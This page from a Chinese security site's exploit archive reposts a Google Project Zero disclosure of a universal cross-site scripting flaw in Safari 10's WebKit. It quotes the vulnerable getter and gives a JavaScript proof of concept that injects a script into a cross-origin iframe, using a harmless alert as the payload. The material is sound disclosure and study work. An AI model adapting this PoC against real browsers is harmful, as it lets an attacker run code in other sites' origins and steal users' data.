首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063
 
The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.
 
static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }
 
    return false;
}
 
PoC:
-->
 
"use strict";
 
let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");
 
f.onload = () => {
    f.onload = null;
 
    let node = get_element();
 
    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};
 
f.src = "https://abc.xyz/";
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Webkit - 'JSCallbackData
·Apple WebKit 10.0.2(12602.3.12
·Apple WebKit 10.0.2(12602.3.12
·Apple WebKit 10.0.2(12602.3.12
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit 10.0.2 - HTMLInpu
·macOS Kernel 10.12.2 (16C67) -
·Apple WebKit - 'RenderLayer' U
·macOS Kernel 10.12.3 (16D32) -
·Apple WebKit - Negative-Size m
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit - 'FormSubmission
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved